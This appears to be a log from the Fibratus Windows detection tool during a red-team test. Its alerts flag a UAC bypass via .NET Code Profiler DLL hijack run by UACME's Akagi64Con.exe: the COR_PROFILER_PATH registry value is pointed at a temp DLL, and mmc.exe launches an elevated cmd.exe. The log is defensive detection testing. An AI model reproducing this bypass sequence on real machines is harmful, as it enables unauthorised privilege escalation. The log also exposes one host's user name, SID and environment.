http=>[ serializer=>json method=>POST enable-gzip=>false enabled=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false passive=>false exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ timeout=>5s bulk-workers=>1 healthcheck=>true trace-log=>false gzip-compression=>false healthcheck-interval=>10s flush-period=>1s index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false sniff=>false healthcheck-timeout=>5s]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false scan-timeout=>10s excluded-files=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:19:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:19:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:19:20+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2461122 + Pid: 7736 + Tid: 14708 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 15:19:18.7109959 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28075acd4f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7736 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2461573 + Pid: 9648 + Tid: 18784 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 15:19:19.6554382 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 404854000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c936d6080, name➜ cmd.exe, pid➜ 9312, ppid➜ 9648, real_ppid➜ 9648, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 15:19:19.6553907 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 9648 + Ppid: 7736 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T15:20:55+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2464220 + Pid: 1444 + Tid: 3112 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 15:20:54.4952647 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28075acd4f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1444 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2464671 + Pid: 12092 + Tid: 15396 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 15:20:55.5034996 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 229d08000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c8c344080, name➜ cmd.exe, pid➜ 11676, ppid➜ 12092, real_ppid➜ 12092, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 15:20:55.5033891 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 12092 + Ppid: 1444 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T15:21:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:21:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:21:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:24:13+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:24:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:24:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:24:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:24:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:24:13+01:00 level=info msg=bootstrapping with pid 15676. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:24:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-audit-api=>true enable-mem=>false enable-handle=>false enable-vamap=>true enable-thread=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true stack-enrichment=>true enable-fileio=>true max-buffers=>36 enable-registry=>true buffer-size=>512 flush-interval=>1s enable-threadpool=>false min-buffers=>16] + filament 